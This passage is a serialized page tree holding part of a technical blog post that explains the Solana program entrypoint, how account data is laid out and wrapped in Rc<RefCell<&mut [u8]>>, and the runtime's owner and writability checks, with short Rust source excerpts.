$crate::entrypoint::deserialize(input) };\n match $process_instruction(&program_id, &accounts, &instruction_data) {\n Ok(()) => $crate::entrypoint::SUCCESS,\n Err(error) => error.into(),\n }\n}\n",[13815],{"type":23,"tag":94,"props":13816,"children":13817},{"__ignoreMap":7},[13818,13826,13897,13938,13989,14047,14090,14133,14140],{"type":23,"tag":314,"props":13819,"children":13820},{"class":316,"line":317},[13821],{"type":23,"tag":314,"props":13822,"children":13823},{"style":338},[13824],{"type":28,"value":13825},"#[no_mangle]\n",{"type":23,"tag":314,"props":13827,"children":13828},{"class":316,"line":370},[13829,13833,13838,13843,13848,13852,13856,13860,13864,13868,13872,13876,13881,13885,13889,13893],{"type":23,"tag":314,"props":13830,"children":13831},{"style":321},[13832],{"type":28,"value":12938},{"type":23,"tag":314,"props":13834,"children":13835},{"style":321},[13836],{"type":28,"value":13837}," unsafe",{"type":23,"tag":314,"props":13839,"children":13840},{"style":321},[13841],{"type":28,"value":13842}," extern",{"type":23,"tag":314,"props":13844,"children":13845},{"style":1245},[13846],{"type":28,"value":13847}," \"C\"",{"type":23,"tag":314,"props":13849,"children":13850},{"style":321},[13851],{"type":28,"value":12943},{"type":23,"tag":314,"props":13853,"children":13854},{"style":332},[13855],{"type":28,"value":335},{"type":23,"tag":314,"props":13857,"children":13858},{"style":338},[13859],{"type":28,"value":341},{"type":23,"tag":314,"props":13861,"children":13862},{"style":360},[13863],{"type":28,"value":99},{"type":23,"tag":314,"props":13865,"children":13866},{"style":354},[13867],{"type":28,"value":3746},{"type":23,"tag":314,"props":13869,"children":13870},{"style":354},[13871],{"type":28,"value":357},{"type":23,"tag":314,"props":13873,"children":13874},{"style":321},[13875],{"type":28,"value":2979},{"type":23,"tag":314,"props":13877,"children":13878},{"style":2674},[13879],{"type":28,"value":13880}," u8",{"type":23,"tag":314,"props":13882,"children":13883},{"style":338},[13884],{"type":28,"value":2343},{"type":23,"tag":314,"props":13886,"children":13887},{"style":354},[13888],{"type":28,"value":1015},{"type":23,"tag":314,"props":13890,"children":13891},{"style":2674},[13892],{"type":28,"value":5114},{"type":23,"tag":314,"props":13894,"children":13895},{"style":338},[13896],{"type":28,"value":1449},{"type":23,"tag":314,"props":13898,"children":13899},{"class":316,"line":380},[13900,13904,13908,13912,13916,13920,13924,13929,13933],{"type":23,"tag":314,"props":13901,"children":13902},{"style":321},[13903],{"type":28,"value":2254},{"type":23,"tag":314,"props":13905,"children":13906},{"style":338},[13907],{"type":28,"value":2324},{"type":23,"tag":314,"props":13909,"children":13910},{"style":360},[13911],{"type":28,"value":405},{"type":23,"tag":314,"props":13913,"children":13914},{"style":338},[13915],{"type":28,"value":778},{"type":23,"tag":314,"props":13917,"children":13918},{"style":360},[13919],{"type":28,"value":238},{"type":23,"tag":314,"props":13921,"children":13922},{"style":338},[13923],{"type":28,"value":778},{"type":23,"tag":314,"props":13925,"children":13926},{"style":360},[13927],{"type":28,"value":13928},"instruction_data",{"type":23,"tag":314,"props":13930,"children":13931},{"style":338},[13932],{"type":28,"value":2343},{"type":23,"tag":314,"props":13934,"children":13935},{"style":354},[13936],{"type":28,"value":13937},"=\n",{"type":23,"tag":314,"props":13939,"children":13940},{"class":316,"line":1091},[13941,13946,13950,13954,13959,13963,13967,13971,13976,13980,13984],{"type":23,"tag":314,"props":13942,"children":13943},{"style":321},[13944],{"type":28,"value":13945}," unsafe",{"type":23,"tag":314,"props":13947,"children":13948},{"style":338},[13949],{"type":28,"value":1242},{"type":23,"tag":314,"props":13951,"children":13952},{"style":354},[13953],{"type":28,"value":9536},{"type":23,"tag":314,"props":13955,"children":13956},{"style":321},[13957],{"type":28,"value":13958},"crate",{"type":23,"tag":314,"props":13960,"children":13961},{"style":354},[13962],{"type":28,"value":2737},{"type":23,"tag":314,"props":13964,"children":13965},{"style":338},[13966],{"type":28,"value":300},{"type":23,"tag":314,"props":13968,"children":13969},{"style":354},[13970],{"type":28,"value":2737},{"type":23,"tag":314,"props":13972,"children":13973},{"style":332},[13974],{"type":28,"value":13975},"deserialize",{"type":23,"tag":314,"props":13977,"children":13978},{"style":338},[13979],{"type":28,"value":341},{"type":23,"tag":314,"props":13981,"children":13982},{"style":360},[13983],{"type":28,"value":99},{"type":23,"tag":314,"props":13985,"children":13986},{"style":338},[13987],{"type":28,"value":13988},") };\n",{"type":23,"tag":314,"props":13990,"children":13991},{"class":316,"line":1141},[13992,13997,14002,14007,14011,14015,14019,14023,14027,14031,14035,14039,14043],{"type":23,"tag":314,"props":13993,"children":13994},{"style":2284},[13995],{"type":28,"value":13996}," match",{"type":23,"tag":314,"props":13998,"children":13999},{"style":354},[14000],{"type":28,"value":14001}," $",{"type":23,"tag":314,"props":14003,"children":14004},{"style":360},[14005],{"type":28,"value":14006},"process_instruction",{"type":23,"tag":314,"props":14008,"children":14009},{"style":338},[14010],{"type":28,"value":341},{"type":23,"tag":314,"props":14012,"children":14013},{"style":354},[14014],{"type":28,"value":1833},{"type":23,"tag":314,"props":14016,"children":14017},{"style":360},[14018],{"type":28,"value":405},{"type":23,"tag":314,"props":14020,"children":14021},{"style":338},[14022],{"type":28,"value":778},{"type":23,"tag":314,"props":14024,"children":14025},{"style":354},[14026],{"type":28,"value":1833},{"type":23,"tag":314,"props":14028,"children":14029},{"style":360},[14030],{"type":28,"value":238},{"type":23,"tag":314,"props":14032,"children":14033},{"style":338},[14034],{"type":28,"value":778},{"type":23,"tag":314,"props":14036,"children":14037},{"style":354},[14038],{"type":28,"value":1833},{"type":23,"tag":314,"props":14040,"children":14041},{"style":360},[14042],{"type":28,"value":13928},{"type":23,"tag":314,"props":14044,"children":14045},{"style":338},[14046],{"type":28,"value":367},{"type":23,"tag":314,"props":14048,"children":14049},{"class":316,"line":1173},[14050,14055,14060,14065,14069,14073,14077,14081,14085],{"type":23,"tag":314,"props":14051,"children":14052},{"style":2674},[14053],{"type":28,"value":14054}," Ok",{"type":23,"tag":314,"props":14056,"children":14057},{"style":338},[14058],{"type":28,"value":14059},"(()) ",{"type":23,"tag":314,"props":14061,"children":14062},{"style":354},[14063],{"type":28,"value":14064},"=>",{"type":23,"tag":314,"props":14066,"children":14067},{"style":354},[14068],{"type":28,"value":14001},{"type":23,"tag":314,"props":14070,"children":14071},{"style":321},[14072],{"type":28,"value":13958},{"type":23,"tag":314,"props":14074,"children":14075},{"style":354},[14076],{"type":28,"value":2737},{"type":23,"tag":314,"props":14078,"children":14079},{"style":338},[14080],{"type":28,"value":300},{"type":23,"tag":314,"props":14082,"children":14083},{"style":354},[14084],{"type":28,"value":2737},{"type":23,"tag":314,"props":14086,"children":14087},{"style":338},[14088],{"type":28,"value":14089},"SUCCESS,\n",{"type":23,"tag":314,"props":14091,"children":14092},{"class":316,"line":1208},[14093,14098,14102,14107,14111,14115,14120,14124,14129],{"type":23,"tag":314,"props":14094,"children":14095},{"style":2674},[14096],{"type":28,"value":14097}," Err",{"type":23,"tag":314,"props":14099,"children":14100},{"style":338},[14101],{"type":28,"value":341},{"type":23,"tag":314,"props":14103,"children":14104},{"style":360},[14105],{"type":28,"value":14106},"error",{"type":23,"tag":314,"props":14108,"children":14109},{"style":338},[14110],{"type":28,"value":2343},{"type":23,"tag":314,"props":14112,"children":14113},{"style":354},[14114],{"type":28,"value":14064},{"type":23,"tag":314,"props":14116,"children":14117},{"style":360},[14118],{"type":28,"value":14119}," error",{"type":23,"tag":314,"props":14121,"children":14122},{"style":354},[14123],{"type":28,"value":282},{"type":23,"tag":314,"props":14125,"children":14126},{"style":332},[14127],{"type":28,"value":14128},"into",{"type":23,"tag":314,"props":14130,"children":14131},{"style":338},[14132],{"type":28,"value":2747},{"type":23,"tag":314,"props":14134,"children":14135},{"class":316,"line":1216},[14136],{"type":23,"tag":314,"props":14137,"children":14138},{"style":338},[14139],{"type":28,"value":2610},{"type":23,"tag":314,"props":14141,"children":14142},{"class":316,"line":1301},[14143],{"type":23,"tag":314,"props":14144,"children":14145},{"style":338},[14146],{"type":28,"value":386},{"type":23,"tag":24,"props":14148,"children":14149},{},[14150,14152,14157,14159,14165,14167,14174,14176,14182,14184,14191],{"type":28,"value":14151},"What we see here is the contract's real entrypoint - it takes a ",{"type":23,"tag":94,"props":14153,"children":14155},{"className":14154},[],[14156],{"type":28,"value":2677},{"type":28,"value":14158}," buffer in from the loader, and calls ",{"type":23,"tag":94,"props":14160,"children":14162},{"className":14161},[],[14163],{"type":28,"value":14164},"solana_program::entrypoint::deserialize",{"type":28,"value":14166},", which then ",{"type":23,"tag":31,"props":14168,"children":14171},{"href":14169,"rel":14170},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[35],[14172],{"type":28,"value":14173},"parses out",{"type":28,"value":14175}," all the ",{"type":23,"tag":94,"props":14177,"children":14179},{"className":14178},[],[14180],{"type":28,"value":14181},"AccountInfo",{"type":28,"value":14183},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":23,"tag":31,"props":14185,"children":14188},{"href":14186,"rel":14187},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[35],[14189],{"type":28,"value":14190},"laid out",{"type":28,"value":3746},{"type":23,"tag":304,"props":14193,"children":14195},{"className":2234,"code":14194,"language":2233,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[14196],{"type":23,"tag":94,"props":14197,"children":14198},{"__ignoreMap":7},[14199,14216,14296,14329,14336,14383,14428,14436,14460],{"type":23,"tag":314,"props":14200,"children":14201},{"class":316,"line":317},[14202,14207,14211],{"type":23,"tag":314,"props":14203,"children":14204},{"style":338},[14205],{"type":28,"value":14206},"#[allow(clippy",{"type":23,"tag":314,"props":14208,"children":14209},{"style":354},[14210],{"type":28,"value":2737},{"type":23,"tag":314,"props":14212,"children":14213},{"style":338},[14214],{"type":28,"value":14215},"cast_ptr_alignment)]\n",{"type":23,"tag":314,"props":14217,"children":14218},{"class":316,"line":370},[14219,14223,14228,14232,14236,14240,14244,14248,14252,14256,14260,14264,14268,14272,14276,14280,14284,14288,14292],{"type":23,"tag":314,"props":14220,"children":14221},{"style":321},[14222],{"type":28,"value":11035},{"type":23,"tag":314,"props":14224,"children":14225},{"style":360},[14226],{"type":28,"value":14227}," data_len",{"type":23,"tag":314,"props":14229,"children":14230},{"style":354},[14231],{"type":28,"value":1237},{"type":23,"tag":314,"props":14233,"children":14234},{"style":354},[14235],{"type":28,"value":357},{"type":23,"tag":314,"props":14237,"children":14238},{"style":338},[14239],{"type":28,"value":341},{"type":23,"tag":314,"props":14241,"children":14242},{"style":360},[14243],{"type":28,"value":99},{"type":23,"tag":314,"props":14245,"children":14246},{"style":354},[14247],{"type":28,"value":282},{"type":23,"tag":314,"props":14249,"children":14250},{"style":332},[14251],{"type":28,"value":8887},{"type":23,"tag":314,"props":14253,"children":14254},{"style":338},[14255],{"type":28,"value":341},{"type":23,"tag":314,"props":14257,"children":14258},{"style":360},[14259],{"type":28,"value":13148},{"type":23,"tag":314,"props":14261,"children":14262},{"style":338},[14263],{"type":28,"value":2343},{"type":23,"tag":314,"props":14265,"children":14266},{"style":321},[14267],{"type":28,"value":8094},{"type":23,"tag":314,"props":14269,"children":14270},{"style":354},[14271],{"type":28,"value":357},{"type":23,"tag":314,"props":14273,"children":14274},{"style":321},[14275],{"type":28,"value":346},{"type":23,"tag":314,"props":14277,"children":14278},{"style":2674},[14279],{"type":28,"value":5114},{"type":23,"tag":314,"props":14281,"children":14282},{"style":338},[14283],{"type":28,"value":2343},{"type":23,"tag":314,"props":14285,"children":14286},{"style":321},[14287],{"type":28,"value":8094},{"type":23,"tag":314,"props":14289,"children":14290},{"style":2674},[14291],{"type":28,"value":12979},{"type":23,"tag":314,"props":14293,"children":14294},{"style":338},[14295],{"type":28,"value":2278},{"type":23,"tag":314,"props":14297,"children":14298},{"class":316,"line":380},[14299,14303,14308,14313,14317,14321,14325],{"type":23,"tag":314,"props":14300,"children":14301},{"style":360},[14302],{"type":28,"value":13148},{"type":23,"tag":314,"props":14304,"children":14305},{"style":354},[14306],{"type":28,"value":14307}," +=",{"type":23,"tag":314,"props":14309,"children":14310},{"style":332},[14311],{"type":28,"value":14312}," size_of",{"type":23,"tag":314,"props":14314,"children":14315},{"style":354},[14316],{"type":28,"value":2737},{"type":23,"tag":314,"props":14318,"children":14319},{"style":338},[14320],{"type":28,"value":5060},{"type":23,"tag":314,"props":14322,"children":14323},{"style":2674},[14324],{"type":28,"value":7297},{"type":23,"tag":314,"props":14326,"children":14327},{"style":338},[14328],{"type":28,"value":7704},{"type":23,"tag":314,"props":14330,"children":14331},{"class":316,"line":1091},[14332],{"type":23,"tag":314,"props":14333,"children":14334},{"emptyLinePlaceholder":18},[14335],{"type":28,"value":1088},{"type":23,"tag":314,"props":14337,"children":14338},{"class":316,"line":1141},[14339,14343,14347,14351,14356,14360,14365,14370,14374,14378],{"type":23,"tag":314,"props":14340,"children":14341},{"style":321},[14342],{"type":28,"value":11035},{"type":23,"tag":314,"props":14344,"children":14345},{"style":360},[14346],{"type":28,"value":1558},{"type":23,"tag":314,"props":14348,"children":14349},{"style":354},[14350],{"type":28,"value":1237},{"type":23,"tag":314,"props":14352,"children":14353},{"style":2674},[14354],{"type":28,"value":14355}," Rc",{"type":23,"tag":314,"props":14357,"children":14358},{"style":354},[14359],{"type":28,"value":2737},{"type":23,"tag":314,"props":14361,"children":14362},{"style":332},[14363],{"type":28,"value":14364},"new",{"type":23,"tag":314,"props":14366,"children":14367},{"style":338},[14368],{"type":28,"value":14369},"(RefCell",{"type":23,"tag":314,"props":14371,"children":14372},{"style":354},[14373],{"type":28,"value":2737},{"type":23,"tag":314,"props":14375,"children":14376},{"style":332},[14377],{"type":28,"value":14364},{"type":23,"tag":314,"props":14379,"children":14380},{"style":338},[14381],{"type":28,"value":14382},"({\n",{"type":23,"tag":314,"props":14384,"children":14385},{"class":316,"line":1173},[14386,14391,14395,14399,14403,14407,14411,14415,14420,14424],{"type":23,"tag":314,"props":14387,"children":14388},{"style":332},[14389],{"type":28,"value":14390}," from_raw_parts_mut",{"type":23,"tag":314,"props":14392,"children":14393},{"style":338},[14394],{"type":28,"value":341},{"type":23,"tag":314,"props":14396,"children":14397},{"style":360},[14398],{"type":28,"value":99},{"type":23,"tag":314,"props":14400,"children":14401},{"style":354},[14402],{"type":28,"value":282},{"type":23,"tag":314,"props":14404,"children":14405},{"style":332},[14406],{"type":28,"value":8887},{"type":23,"tag":314,"props":14408,"children":14409},{"style":338},[14410],{"type":28,"value":341},{"type":23,"tag":314,"props":14412,"children":14413},{"style":360},[14414],{"type":28,"value":13148},{"type":23,"tag":314,"props":14416,"children":14417},{"style":338},[14418],{"type":28,"value":14419},"), ",{"type":23,"tag":314,"props":14421,"children":14422},{"style":360},[14423],{"type":28,"value":13053},{"type":23,"tag":314,"props":14425,"children":14426},{"style":338},[14427],{"type":28,"value":2414},{"type":23,"tag":314,"props":14429,"children":14430},{"class":316,"line":1208},[14431],{"type":23,"tag":314,"props":14432,"children":14433},{"style":338},[14434],{"type":28,"value":14435},"}));\n",{"type":23,"tag":314,"props":14437,"children":14438},{"class":316,"line":1216},[14439,14443,14447,14451,14455],{"type":23,"tag":314,"props":14440,"children":14441},{"style":360},[14442],{"type":28,"value":13148},{"type":23,"tag":314,"props":14444,"children":14445},{"style":354},[14446],{"type":28,"value":14307},{"type":23,"tag":314,"props":14448,"children":14449},{"style":360},[14450],{"type":28,"value":14227},{"type":23,"tag":314,"props":14452,"children":14453},{"style":354},[14454],{"type":28,"value":1572},{"type":23,"tag":314,"props":14456,"children":14457},{"style":338},[14458],{"type":28,"value":14459}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":23,"tag":314,"props":14461,"children":14462},{"class":316,"line":1301},[14463,14467,14471,14475,14479,14483,14487,14491,14495,14499,14503,14508,14513],{"type":23,"tag":314,"props":14464,"children":14465},{"style":360},[14466],{"type":28,"value":13148},{"type":23,"tag":314,"props":14468,"children":14469},{"style":354},[14470],{"type":28,"value":14307},{"type":23,"tag":314,"props":14472,"children":14473},{"style":338},[14474],{"type":28,"value":2324},{"type":23,"tag":314,"props":14476,"children":14477},{"style":360},[14478],{"type":28,"value":13148},{"type":23,"tag":314,"props":14480,"children":14481},{"style":321},[14482],{"type":28,"value":8080},{"type":23,"tag":314,"props":14484,"children":14485},{"style":354},[14486],{"type":28,"value":357},{"type":23,"tag":314,"props":14488,"children":14489},{"style":321},[14490],{"type":28,"value":346},{"type":23,"tag":314,"props":14492,"children":14493},{"style":2674},[14494],{"type":28,"value":13880},{"type":23,"tag":314,"props":14496,"children":14497},{"style":338},[14498],{"type":28,"value":431},{"type":23,"tag":314,"props":14500,"children":14501},{"style":354},[14502],{"type":28,"value":282},{"type":23,"tag":314,"props":14504,"children":14505},{"style":332},[14506],{"type":28,"value":14507},"align_offset",{"type":23,"tag":314,"props":14509,"children":14510},{"style":338},[14511],{"type":28,"value":14512},"(BPF_ALIGN_OF_U128); ",{"type":23,"tag":314,"props":14514,"children":14515},{"style":374},[14516],{"type":28,"value":14517},"// padding\n",{"type":23,"tag":24,"props":14519,"children":14520},{},[14521,14523,14528,14530,14536,14538,14549,14551,14556,14558,14564,14566,14572,14574,14580],{"type":28,"value":14522},"In English, we have the length of the data, as a ",{"type":23,"tag":94,"props":14524,"children":14526},{"className":14525},[],[14527],{"type":28,"value":7297},{"type":28,"value":14529},", followed immediately by the data, and an additional ",{"type":23,"tag":94,"props":14531,"children":14533},{"className":14532},[],[14534],{"type":28,"value":14535},"MAX_PERMITTED_DATA_INCREASE",{"type":28,"value":14537}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":23,"tag":31,"props":14539,"children":14542},{"href":14540,"rel":14541},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[35],[14543],{"type":23,"tag":94,"props":14544,"children":14546},{"className":14545},[],[14547],{"type":28,"value":14548},"slice::from_raw_parts_mut",{"type":28,"value":14550},") - slices are how Rust represents a, well, ",{"type":23,"tag":186,"props":14552,"children":14553},{},[14554],{"type":28,"value":14555},"slice",{"type":28,"value":14557}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":23,"tag":94,"props":14559,"children":14561},{"className":14560},[],[14562],{"type":28,"value":14563},"Rc\u003CRefCell\u003CT>>",{"type":28,"value":14565},", giving us the unwieldy-looking type of ",{"type":23,"tag":94,"props":14567,"children":14569},{"className":14568},[],[14570],{"type":28,"value":14571},"AccountInfo.data",{"type":28,"value":14573},": ",{"type":23,"tag":94,"props":14575,"children":14577},{"className":14576},[],[14578],{"type":28,"value":14579},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":28,"value":282},{"type":23,"tag":24,"props":14582,"children":14583},{},[14584,14586,14593],{"type":28,"value":14585},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":23,"tag":31,"props":14587,"children":14590},{"href":14588,"rel":14589},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[35],[14591],{"type":28,"value":14592},"cloning the referenced account",{"type":28,"value":3746},{"type":23,"tag":304,"props":14595,"children":14597},{"className":2234,"code":14596,"language":2233,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[14598],{"type":23,"tag":94,"props":14599,"children":14600},{"__ignoreMap":7},[14601,14609],{"type":23,"tag":314,"props":14602,"children":14603},{"class":316,"line":317},[14604],{"type":23,"tag":314,"props":14605,"children":14606},{"style":374},[14607],{"type":28,"value":14608},"// Duplicate account, clone the original\n",{"type":23,"tag":314,"props":14610,"children":14611},{"class":316,"line":370},[14612,14616,14620,14624,14628,14632,14636,14641,14645,14649,14654,14658,14663],{"type":23,"tag":314,"props":14613,"children":14614},{"style":360},[14615],{"type":28,"value":238},{"type":23,"tag":314,"props":14617,"children":14618},{"style":354},[14619],{"type":28,"value":282},{"type":23,"tag":314,"props":14621,"children":14622},{"style":332},[14623],{"type":28,"value":3067},{"type":23,"tag":314,"props":14625,"children":14626},{"style":338},[14627],{"type":28,"value":341},{"type":23,"tag":314,"props":14629,"children":14630},{"style":360},[14631],{"type":28,"value":238},{"type":23,"tag":314,"props":14633,"children":14634},{"style":338},[14635],{"type":28,"value":1312},{"type":23,"tag":314,"props":14637,"children":14638},{"style":360},[14639],{"type":28,"value":14640},"dup_info",{"type":23,"tag":314,"props":14642,"children":14643},{"style":321},[14644],{"type":28,"value":8080},{"type":23,"tag":314,"props":14646,"children":14647},{"style":2674},[14648],{"type":28,"value":12979},{"type":23,"tag":314,"props":14650,"children":14651},{"style":338},[14652],{"type":28,"value":14653},"]",{"type":23,"tag":314,"props":14655,"children":14656},{"style":354},[14657],{"type":28,"value":282},{"type":23,"tag":314,"props":14659,"children":14660},{"style":332},[14661],{"type":28,"value":14662},"clone",{"type":23,"tag":314,"props":14664,"children":14665},{"style":338},[14666],{"type":28,"value":14667},"());\n",{"type":23,"tag":24,"props":14669,"children":14670},{},[14671,14673,14678,14680,14685,14687,14692,14694,14699,14700,14706,14708,14713,14715,14727,14729,14733],{"type":28,"value":14672},"Since ",{"type":23,"tag":94,"props":14674,"children":14676},{"className":14675},[],[14677],{"type":28,"value":249},{"type":28,"value":14679}," inside the ",{"type":23,"tag":94,"props":14681,"children":14683},{"className":14682},[],[14684],{"type":28,"value":14181},{"type":28,"value":14686}," is a ",{"type":23,"tag":94,"props":14688,"children":14690},{"className":14689},[],[14691],{"type":28,"value":14563},{"type":28,"value":14693},", where the ",{"type":23,"tag":94,"props":14695,"children":14697},{"className":14696},[],[14698],{"type":28,"value":5242},{"type":28,"value":14686},{"type":23,"tag":94,"props":14701,"children":14703},{"className":14702},[],[14704],{"type":28,"value":14705},"&mut [u8]",{"type":28,"value":14707}," pointing at the actual data buffer, when we clone the ",{"type":23,"tag":94,"props":14709,"children":14711},{"className":14710},[],[14712],{"type":28,"value":14181},{"type":28,"value":14714},", we get a new reference",{"type":23,"tag":14716,"props":14717,"children":14718},"sup",{},[14719],{"type":23,"tag":31,"props":14720,"children":14725},{"href":14721,"ariaDescribedBy":14722,"dataFootnoteRef":7,"id":14724},"#user-content-fn-rc-refs",[14723],"footnote-label","user-content-fnref-rc-refs",[14726],{"type":28,"value":3267},{"type":28,"value":14728}," to the slice pointing at the ",{"type":23,"tag":186,"props":14730,"children":14731},{},[14732],{"type":28,"value":592},{"type":28,"value":14734}," data buffer.",{"type":23,"tag":24,"props":14736,"children":14737},{},[14738,14740,14746,14748,14754],{"type":28,"value":14739},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":23,"tag":94,"props":14741,"children":14743},{"className":14742},[],[14744],{"type":28,"value":14745},"RefCell",{"type":28,"value":14747}," to check the rules at runtime. (The ",{"type":23,"tag":94,"props":14749,"children":14751},{"className":14750},[],[14752],{"type":28,"value":14753},"lamports",{"type":28,"value":14755}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":23,"tag":24,"props":14757,"children":14758},{},[14759,14761,14767],{"type":28,"value":14760},"Changing the data of an account is done by simply writing to ",{"type":23,"tag":94,"props":14762,"children":14764},{"className":14763},[],[14765],{"type":28,"value":14766},"AccountInfo::data",{"type":28,"value":14768},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":23,"tag":24,"props":14770,"children":14771},{},[14772,14774,14781],{"type":28,"value":14773},"This is also where the ",{"type":23,"tag":31,"props":14775,"children":14778},{"href":14776,"rel":14777},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[35],[14779],{"type":28,"value":14780},"runtime validity checks",{"type":28,"value":14782}," are imposed.",{"type":23,"tag":304,"props":14784,"children":14786},{"className":2234,"code":14785,"language":2233,"meta":7,"style":7},"// Only the owner may change account data\n// and if the account is writable\n// and if the account is not executable\nif !(program_id == pre.owner()\n && is_writable // line coverage used to get branch coverage\n && !pre.executable())\n && pre.data() != post.data()\n{\n if pre.executable() {\n return Err(InstructionError::ExecutableDataModified);\n } else if is_writable {\n return Err(InstructionError::ExternalAccountDataModified);\n } else {\n return Err(InstructionError::ReadonlyDataModified);\n }\n}\n",[14787],{"type":23,"tag":94,"props":14788,"children":14789},{"__ignoreMap":7},[14790,14798,14806,14814,14856,14874,14903,14947,14954,14978,15013,15038,15070,15085,15117,15124],{"type":23,"tag":314,"props":14791,"children":14792},{"class":316,"line":317},[14793],{"type":23,"tag":314,"props":14794,"children":14795},{"style":374},[14796],{"type":28,"value":14797},"// Only the owner may change account data\n",{"type":23,"tag":314,"props":14799,"children":14800},{"class":316,"line":370},[14801],{"type":23,"tag":314,"props":14802,"children":14803},{"style":374},[14804],{"type":28,"value":14805},"// and if the account is writable\n",{"type":23,"tag":314,"props":14807,"children":14808},{"class":316,"line":380},[14809],{"type":23,"tag":314,"props":14810,"children":14811},{"style":374},[14812],{"type":28,"value":14813},"// and if the account is not executable\n",{"type":23,"tag":314,"props":14815,"children":14816},{"class":316,"line":1091},[14817,14822,14826,14830,14834,14838,14843,14847,14852],{"type":23,"tag":314,"props":14818,"children":14819},{"style":2284},[14820],{"type":28,"value":14821},"if",{"type":23,"tag":314,"props":14823,"children":14824},{"style":354},[14825],{"type":28,"value":12112},{"type":23,"tag":314,"props":14827,"children":14828},{"style":338},[14829],{"type":28,"value":341},{"type":23,"tag":314,"props":14831,"children":14832},{"style":360},[14833],{"type":28,"value":405},{"type":23,"tag":314,"props":14835,"children":14836},{"style":354},[14837],{"type":28,"value":2537},{"type":23,"tag":314,"props":14839,"children":14840},{"style":360},[14841],{"type":28,"value":14842}," pre",{"type":23,"tag":314,"props":14844,"children":14845},{"style":354},[14846],{"type":28,"value":282},{"type":23,"tag":314,"props":14848,"children":14849},{"style":332},[14850],{"type":28,"value":14851},"owner",{"type":23,"tag":314,"props":14853,"children":14854},{"style":338},[14855],{"type":28,"value":6990},{"type":23,"tag":314,"props":14857,"children":14858},{"class":316,"line":1141},[14859,14864,14869],{"type":23,"tag":314,"props":14860,"children":14861},{"style":354},[14862],{"type":28,"value":14863}," &&",{"type":23,"tag":314,"props":14865,"children":14866},{"style":360},[14867],{"type":28,"value":14868}," is_writable",{"type":23,"tag":314,"props":14870,"children":14871},{"style":374},[14872],{"type":28,"value":14873}," // line coverage used to get branch coverage\n",{"type":23,"tag":314,"props":14875,"children":14876},{"class":316,"line":1173},[14877,14881,14885,14889,14893,14898],{"type":23,"tag":314,"props":14878,"children":14879},{"style":354},[14880],{"type":28,"value":14863},{"type":23,"tag":314,"props":14882,"children":14883},{"style":354},[14884],{"type":28,"value":12112},{"type":23,"tag":314,"props":14886,"children":14887},{"style":360},[14888],{"type":28,"value":304},{"type":23,"tag":314,"props":14890,"children":14891},{"style":354},[14892],{"type":28,"value":282},{"type":23,"tag":314,"props":14894,"children":14895},{"style":332},[14896],{"type":28,"value":14897},"executable",{"type":23,"tag":314,"props":14899,"children":14900},{"style":338},[14901],{"type":28,"value":14902},"())\n",{"type":23,"tag":314,"props":14904,"children":14905},{"class":316,"line":1208},[14906,14910,14914,14918,14922,14926,14930,14935,14939,14943],{"type":23,"tag":314,"props":14907,"children":14908},{"style":354},[14909],{"type":28,"value":14863},{"type":23,"tag":314,"props":14911,"children":14912},{"style":360},[14913],{"type":28,"value":14842},{"type":23,"tag":314,"props":14915,"children":14916},{"style":354},[14917],{"type":28,"value":282},{"type":23,"tag":314,"props":14919,"children":14920},{"style":332},[14921],{"type":28,"value":249},{"type":23,"tag":314,"props":14923,"children":14924},{"style":338},[14925],{"type":28,"value":13290},{"type":23,"tag":314,"props":14927,"children":14928},{"style":354},[14929],{"type":28,"value":1196},{"type":23,"tag":314,"props":14931,"children":14932},{"style":360},[14933],{"type":28,"value":14934}," post",{"type":23,"tag":314,"props":14936,"children":14937},{"style":354},[14938],{"type":28,"value":282},{"type":23,"tag":314,"props":14940,"children":14941},{"style":332},[14942],{"type":28,"value":249},{"type":23,"tag":314,"props":14944,"children":14945},{"style":338},[14946],{"type":28,"value":6990},{"type":23,"tag":314,"props":14948,"children":14949},{"class":316,"line":1216},[14950],{"type":23,"tag":314,"props":14951,"children":14952},{"style":338},[14953],{"type":28,"value":10129},{"type":23,"tag":314,"props":14955,"children":14956},{"class":316,"line":1301},[14957,14961,14965,14969,14973],{"type":23,"tag":314,"props":14958,"children":14959},{"style":2284},[14960],{"type":28,"value":11527},{"type":23,"tag":314,"props":14962,"children":14963},{"style":360},[14964],{"type":28,"value":14842},{"type":23,"tag":314,"props":14966,"children":14967},{"style":354},[14968],{"type":28,"value":282},{"type":23,"tag":314,"props":14970,"children":14971},{"style":332},[14972],{"type":28,"value":14897},{"type":23,"tag":314,"props":14974,"children":14975},{"style":338},[14976],{"type":28,"value":14977},"() {\n",{"type":23,"tag":314,"props":14979,"children":14980},{"class":316,"line":1343},[14981,14986,14991,14995,15000,15004,15009],{"type":23,"tag":314,"props":14982,"children":14983},{"style":2284},[14984],{"type":28,"value":14985}," return",{"type":23,"tag":314,"props":14987,"children":14988},{"style":2674},[14989],{"type":28,"value":14990}," 